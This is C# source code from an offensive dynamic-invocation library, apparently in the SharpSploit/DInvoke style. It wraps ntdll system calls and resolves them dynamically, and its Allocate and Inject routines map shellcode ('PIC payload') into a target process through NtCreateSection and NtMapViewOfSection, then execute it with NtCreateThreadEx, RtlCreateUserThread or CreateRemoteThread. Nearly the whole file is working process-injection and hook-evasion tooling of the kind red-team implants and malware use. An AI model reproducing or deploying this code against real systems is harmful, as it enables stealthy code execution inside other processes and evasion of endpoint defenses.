public static Data.Native.NTSTATUS NtCreateSection( ref IntPtr SectionHandle, uint DesiredAccess, IntPtr ObjectAttributes, ref ulong MaximumSize, uint SectionPageProtection, uint AllocationAttributes, IntPtr FileHandle) { // Craft an array for the arguments object[] funcargs = { SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success) { throw new InvalidOperationException("Unable to create section, " + retValue); } // Update the modified variables SectionHandle = (IntPtr)funcargs[0]; MaximumSize = (ulong)funcargs[3]; return(retValue); }
/// <summary> /// Allocate the payload in the target process. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="Payload">The PIC payload to allocate to the target process.</param> /// <param name="Process">The target process.</param> /// <param name="PreferredAddress">The preferred address at which to allocate the payload in the target process.</param> /// <returns>Base address of allocated memory within the target process's virtual memory space.</returns> public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) { // Get a convenient handle for the target process. IntPtr procHandle = Process.Handle; // Create a section to hold our payload IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); // Map a view of the section into our current process with RW permissions SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); // Copy the shellcode to the local view System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); // Now that we are done with the mapped view in our own process, unmap it Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); // Now, map a view of the section to other process. It should already hold the payload. SectionDetails newDetails; if (PreferredAddress != IntPtr.Zero) { // Attempt to allocate at a preferred address. May not end up exactly at the specified location. // Refer to MSDN documentation on ZwMapViewOfSection for details. newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); } else { newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); } return(newDetails.baseAddr); }
public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 FreeType) { // Craft an array for the arguments object[] funcargs = { ProcessHandle, BaseAddress, RegionSize, FreeType }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs); if (retValue == Data.Native.NTSTATUS.AccessDenied) { // STATUS_ACCESS_DENIED throw new UnauthorizedAccessException("Access is denied."); } if (retValue == Data.Native.NTSTATUS.InvalidHandle) { // STATUS_INVALID_HANDLE throw new InvalidOperationException("An invalid HANDLE was specified."); } if (retValue != Data.Native.NTSTATUS.Success) { // STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024 throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."); } }
public static Data.Native.NTSTATUS NtMapViewOfSection( IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, IntPtr SectionOffset, ref ulong ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect) { // Craft an array for the arguments object[] funcargs = { SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Win32Protect }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success && retValue != Data.Native.NTSTATUS.ImageNotAtBase) { throw new InvalidOperationException("Unable to map view of section, " + retValue); } // Update the modified variables. BaseAddress = (IntPtr)funcargs[2]; ViewSize = (ulong)funcargs[6]; return(retValue); }
public static Data.Native.NTSTATUS NtCreateThreadEx( ref IntPtr threadHandle, Data.Win32.WinNT.ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList) { // Craft an array for the arguments object[] funcargs = { threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits, sizeOfStack, maximumStackSize, attributeList }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx", typeof(DELEGATES.NtCreateThreadEx), ref funcargs); // Update the modified variables threadHandle = (IntPtr)funcargs[0]; return(retValue); }
public static Data.Native.NTSTATUS RtlCreateUserThread( IntPtr Process, IntPtr ThreadSecurityDescriptor, bool CreateSuspended, IntPtr ZeroBits, IntPtr MaximumStackSize, IntPtr CommittedStackSize, IntPtr StartAddress, IntPtr Parameter, ref IntPtr Thread, IntPtr ClientId) { // Craft an array for the arguments object[] funcargs = { Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits, MaximumStackSize, CommittedStackSize, StartAddress, Parameter, Thread, ClientId }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlCreateUserThread", typeof(DELEGATES.RtlCreateUserThread), ref funcargs); // Update the modified variables Thread = (IntPtr)funcargs[8]; return(retValue); }
public static IntPtr NtOpenThread(int TID, Data.Win32.Kernel32.ThreadAccess DesiredAccess) { // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's IntPtr ThreadHandle = IntPtr.Zero; Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES(); Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID(); ci.UniqueThread = (IntPtr)TID; // Craft an array for the arguments object[] funcargs = { ThreadHandle, DesiredAccess, oa, ci }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenThread", typeof(DELEGATES.NtOpenProcess), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success && retValue == Data.Native.NTSTATUS.InvalidCid) { throw new InvalidOperationException("An invalid client ID was specified."); } if (retValue != Data.Native.NTSTATUS.Success) { throw new UnauthorizedAccessException("Access is denied."); } // Update the modified variables ThreadHandle = (IntPtr)funcargs[0]; return(ThreadHandle); }
public static Data.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess) { Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo); if (retValue != Data.Native.NTSTATUS.Success) { throw new UnauthorizedAccessException("Access is denied."); } return((Data.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Data.Native.PROCESS_BASIC_INFORMATION))); }
public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem) { // Alloc buffer for result struct IntPtr pBase = IntPtr.Zero; IntPtr RegionSize = (IntPtr)0x500; IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, Data.Win32.WinNT.PAGE_READWRITE); // Prepare NtQueryVirtualMemory parameters Data.Native.MEMORYINFOCLASS memoryInfoClass = Data.Native.MEMORYINFOCLASS.MemorySectionName; UInt32 MemoryInformationLength = 0x500; UInt32 Retlen = 0; // Craft an array for the arguments object[] funcargs = { hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryVirtualMemory", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs); string FilePath = string.Empty; if (retValue == Data.Native.NTSTATUS.Success) { Data.Native.UNICODE_STRING sn = (Data.Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Data.Native.UNICODE_STRING)); FilePath = Marshal.PtrToStringUni(sn.Buffer); } // Free allocation NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Data.Win32.Kernel32.MEM_RELEASE); if (retValue == Data.Native.NTSTATUS.AccessDenied) { // STATUS_ACCESS_DENIED throw new UnauthorizedAccessException("Access is denied."); } if (retValue == Data.Native.NTSTATUS.AccessViolation) { // STATUS_ACCESS_VIOLATION throw new InvalidOperationException("The specified base address is an invalid virtual address."); } if (retValue == Data.Native.NTSTATUS.InfoLengthMismatch) { // STATUS_INFO_LENGTH_MISMATCH throw new InvalidOperationException("The MemoryInformation buffer is larger than MemoryInformationLength."); } if (retValue == Data.Native.NTSTATUS.InvalidParameter) { // STATUS_INVALID_PARAMETER throw new InvalidOperationException("The specified base address is outside the range of accessible addresses."); } return(FilePath); }
public static Data.Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr) { // Craft an array for the arguments object[] funcargs = { hProc, baseAddr }; Data.Native.NTSTATUS result = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection", typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs); return(result); }
public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess) { Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo); if (retValue != Data.Native.NTSTATUS.Success) { throw new UnauthorizedAccessException("Access is denied."); } if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero) { return(false); } return(true); }
public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3) { // Craft an array for the arguments object[] funcargs = { ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3 }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success) { throw new InvalidOperationException("Unable to queue APC, " + retValue); } }
public static Data.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Data.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) { // Craft an array for the arguments object[] funcargs = { PathToFile, dwFlags, ModuleFileName, ModuleHandle }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs); // Update the modified variables ModuleHandle = (IntPtr)funcargs[3]; return(retValue); }
/// <summary> /// Resolves LdrLoadDll and uses that function to load a DLL from disk. /// </summary> /// <author>Ruben Boonen (@FuzzySec)</author> /// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param> /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns> public static IntPtr LoadModuleFromDisk(string DLLPath) { Data.Native.UNICODE_STRING uModuleName = new Data.Native.UNICODE_STRING(); Native.RtlInitUnicodeString(ref uModuleName, DLLPath); IntPtr hModule = IntPtr.Zero; Data.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); if (CallResult != Data.Native.NTSTATUS.Success || hModule == IntPtr.Zero) { return(IntPtr.Zero); } return(hModule); }
public static void RtlGetVersion(ref Data.Native.OSVERSIONINFOEX VersionInformation) { // Craft an array for the arguments object[] funcargs = { VersionInformation }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlGetVersion", typeof(DELEGATES.RtlGetVersion), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success) { throw new InvalidOperationException("Failed get procedure address, " + retValue); } VersionInformation = (Data.Native.OSVERSIONINFOEX)funcargs[0]; }
public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress) { // Craft an array for the arguments object[] funcargs = { hModule, FunctionName, Ordinal, FunctionAddress }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrGetProcedureAddress", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success) { throw new InvalidOperationException("Failed get procedure address, " + retValue); } FunctionAddress = (IntPtr)funcargs[3]; return(FunctionAddress); }
public static IntPtr NtOpenFile(ref IntPtr FileHandle, Data.Win32.Kernel32.FileAccessFlags DesiredAccess, ref Data.Native.OBJECT_ATTRIBUTES ObjAttr, ref Data.Native.IO_STATUS_BLOCK IoStatusBlock, Data.Win32.Kernel32.FileShareFlags ShareAccess, Data.Win32.Kernel32.FileOpenFlags OpenOptions) { // Craft an array for the arguments object[] funcargs = { FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenFile", typeof(DELEGATES.NtOpenFile), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success) { throw new InvalidOperationException("Failed to open file, " + retValue); } FileHandle = (IntPtr)funcargs[0]; return(FileHandle); }
public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead) { // Craft an array for the arguments UInt32 NumberOfBytesRead = 0; object[] funcargs = { ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtReadVirtualMemory", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success) { throw new InvalidOperationException("Failed to read memory, " + retValue); } NumberOfBytesRead = (UInt32)funcargs[4]; return(NumberOfBytesRead); }
public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength) { // Craft an array for the arguments UInt32 BytesWritten = 0; object[] funcargs = { ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success) { throw new InvalidOperationException("Failed to write memory, " + retValue); } BytesWritten = (UInt32)funcargs[4]; return(BytesWritten); }
public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect) { // Craft an array for the arguments UInt32 OldProtect = 0; object[] funcargs = { ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success) { throw new InvalidOperationException("Failed to change memory protection, " + retValue); } OldProtect = (UInt32)funcargs[4]; return(OldProtect); }
public static Data.Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Data.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo) { int processInformationLength; UInt32 RetLen = 0; switch (processInfoClass) { case Data.Native.PROCESSINFOCLASS.ProcessWow64Information: pProcInfo = Marshal.AllocHGlobal(IntPtr.Size); RtlZeroMemory(pProcInfo, IntPtr.Size); processInformationLength = IntPtr.Size; break; case Data.Native.PROCESSINFOCLASS.ProcessBasicInformation: Data.Native.PROCESS_BASIC_INFORMATION PBI = new Data.Native.PROCESS_BASIC_INFORMATION(); pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI)); RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI)); Marshal.StructureToPtr(PBI, pProcInfo, true); processInformationLength = Marshal.SizeOf(PBI); break; default: throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}"); } object[] funcargs = { hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs); if (retValue != Data.Native.NTSTATUS.Success) { throw new UnauthorizedAccessException("Access is denied."); } // Update the modified variables pProcInfo = (IntPtr)funcargs[2]; return(retValue); }
/// <summary> /// Creates a new Section. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="size">Max size of the Section.</param> /// <param name="allocationAttributes">Section attributes (eg. Win32.WinNT.SEC_COMMIT).</param> /// <returns></returns> private static IntPtr CreateSection(ulong size, uint allocationAttributes) { // Create a pointer for the section handle IntPtr SectionHandle = new IntPtr(); ulong maxSize = size; Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection( ref SectionHandle, 0x10000000, IntPtr.Zero, ref maxSize, Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, allocationAttributes, IntPtr.Zero ); // Perform error checking on the result if (result < 0) { return(IntPtr.Zero); } return(SectionHandle); }
/// <summary> /// Maps a view of a section to the target process. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="procHandle">Handle the process that the section will be mapped to.</param> /// <param name="sectionHandle">Handle to the section.</param> /// <param name="protection">What permissions to use on the view.</param> /// <param name="addr">Optional parameter to specify the address of where to map the view.</param> /// <param name="sizeData">Size of the view to map. Must be smaller than the max Section size.</param> /// <returns>A struct containing address and size of the mapped view.</returns> public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData) { // Copied so that they may be passed by reference but the original value preserved IntPtr baseAddr = addr; ulong size = sizeData; uint disp = 2; uint alloc = 0; // Returns an NTSTATUS value Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection( sectionHandle, procHandle, ref baseAddr, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref size, disp, alloc, protection ); // Create a struct to hold the results. SectionDetails details = new SectionDetails(baseAddr, sizeData); return(details); }
/// <summary> /// Create a thread in the remote process. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="Payload">The shellcode payload to execute in the target process.</param> /// <param name="BaseAddress">The address of the shellcode in the target process.</param> /// <param name="Process">The target process to inject into.</param> /// <returns></returns> public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) { IntPtr threadHandle = new IntPtr(); Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful; if (api == APIS.NtCreateThreadEx) { // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. result = DynamicInvoke.Native.NtCreateThreadEx( ref threadHandle, Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, Process.Handle, BaseAddress, IntPtr.Zero, suspended, 0, 0, 0, IntPtr.Zero ); } else if (api == APIS.RtlCreateUserThread) { // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. result = DynamicInvoke.Native.RtlCreateUserThread( Process.Handle, IntPtr.Zero, suspended, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, BaseAddress, IntPtr.Zero, ref threadHandle, IntPtr.Zero ); } else if (api == APIS.CreateRemoteThread) { uint flags = suspended ? (uint)0x00000004 : 0; IntPtr threadid = new IntPtr(); // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. threadHandle = DynamicInvoke.Win32.CreateRemoteThread( Process.Handle, IntPtr.Zero, 0, BaseAddress, IntPtr.Zero, flags, ref threadid ); if (threadHandle == IntPtr.Zero) { return(false); } handle = threadHandle; return(true); } // If successful, return the handle to the new thread. Otherwise return NULL if (result != Data.Native.NTSTATUS.Success) { return(false); } handle = threadHandle; return(true); }
public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) { // Craft an array for the arguments object[] funcargs = { ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect }; Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs); if (retValue == Data.Native.NTSTATUS.AccessDenied) { // STATUS_ACCESS_DENIED throw new UnauthorizedAccessException("Access is denied."); } if (retValue == Data.Native.NTSTATUS.AlreadyCommitted) { // STATUS_ALREADY_COMMITTED throw new InvalidOperationException("The specified address range is already committed."); } if (retValue == Data.Native.NTSTATUS.CommitmentLimit) { // STATUS_COMMITMENT_LIMIT throw new InvalidOperationException("Your system is low on virtual memory."); } if (retValue == Data.Native.NTSTATUS.ConflictingAddresses) { // STATUS_CONFLICTING_ADDRESSES throw new InvalidOperationException("The specified address range conflicts with the address space."); } if (retValue == Data.Native.NTSTATUS.InsufficientResources) { // STATUS_INSUFFICIENT_RESOURCES throw new InvalidOperationException("Insufficient system resources exist to complete the API call."); } if (retValue == Data.Native.NTSTATUS.InvalidHandle) { // STATUS_INVALID_HANDLE throw new InvalidOperationException("An invalid HANDLE was specified."); } if (retValue == Data.Native.NTSTATUS.InvalidPageProtection) { // STATUS_INVALID_PAGE_PROTECTION throw new InvalidOperationException("The specified page protection was not valid."); } if (retValue == Data.Native.NTSTATUS.NoMemory) { // STATUS_NO_MEMORY throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation."); } if (retValue == Data.Native.NTSTATUS.ObjectTypeMismatch) { // STATUS_OBJECT_TYPE_MISMATCH throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."); } if (retValue != Data.Native.NTSTATUS.Success) { // STATUS_PROCESS_IS_TERMINATING == 0xC000010A throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process."); } BaseAddress = (IntPtr)funcargs[1]; return(BaseAddress); }
/// <summary> /// Maps a DLL from disk into a Section using NtCreateSection. /// </summary> /// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author> /// <param name="DLLPath">Full path fo the DLL on disk.</param> /// <returns>PE.PE_MANUAL_MAP</returns> public static Data.PE.PE_MANUAL_MAP MapModuleFromDisk(string DLLPath) { // Check file exists if (!File.Exists(DLLPath)) { throw new InvalidOperationException("Filepath not found."); } // Open file handle Data.Native.UNICODE_STRING ObjectName = new Data.Native.UNICODE_STRING(); DynamicInvoke.Native.RtlInitUnicodeString(ref ObjectName, (@"\??\" + DLLPath)); IntPtr pObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(ObjectName)); Marshal.StructureToPtr(ObjectName, pObjectName, true); Data.Native.OBJECT_ATTRIBUTES objectAttributes = new Data.Native.OBJECT_ATTRIBUTES(); objectAttributes.Length = Marshal.SizeOf(objectAttributes); objectAttributes.ObjectName = pObjectName; objectAttributes.Attributes = 0x40; // OBJ_CASE_INSENSITIVE Data.Native.IO_STATUS_BLOCK ioStatusBlock = new Data.Native.IO_STATUS_BLOCK(); IntPtr hFile = IntPtr.Zero; DynamicInvoke.Native.NtOpenFile( ref hFile, Data.Win32.Kernel32.FileAccessFlags.FILE_READ_DATA | Data.Win32.Kernel32.FileAccessFlags.FILE_EXECUTE | Data.Win32.Kernel32.FileAccessFlags.FILE_READ_ATTRIBUTES | Data.Win32.Kernel32.FileAccessFlags.SYNCHRONIZE, ref objectAttributes, ref ioStatusBlock, Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_READ | Data.Win32.Kernel32.FileShareFlags.FILE_SHARE_DELETE, Data.Win32.Kernel32.FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT | Data.Win32.Kernel32.FileOpenFlags.FILE_NON_DIRECTORY_FILE ); // Create section from hFile IntPtr hSection = IntPtr.Zero; ulong MaxSize = 0; Data.Native.NTSTATUS ret = DynamicInvoke.Native.NtCreateSection( ref hSection, (UInt32)Data.Win32.WinNT.ACCESS_MASK.SECTION_ALL_ACCESS, IntPtr.Zero, ref MaxSize, Data.Win32.WinNT.PAGE_READONLY, Data.Win32.WinNT.SEC_IMAGE, hFile ); // Map view of file IntPtr pBaseAddress = IntPtr.Zero; DynamicInvoke.Native.NtMapViewOfSection( hSection, (IntPtr)(-1), ref pBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref MaxSize, 0x2, 0x0, Data.Win32.WinNT.PAGE_READWRITE ); // Prepare return object Data.PE.PE_MANUAL_MAP SecMapObject = new Data.PE.PE_MANUAL_MAP { PEINFO = DynamicInvoke.Generic.GetPeMetaData(pBaseAddress), ModuleBase = pBaseAddress }; return(SecMapObject); }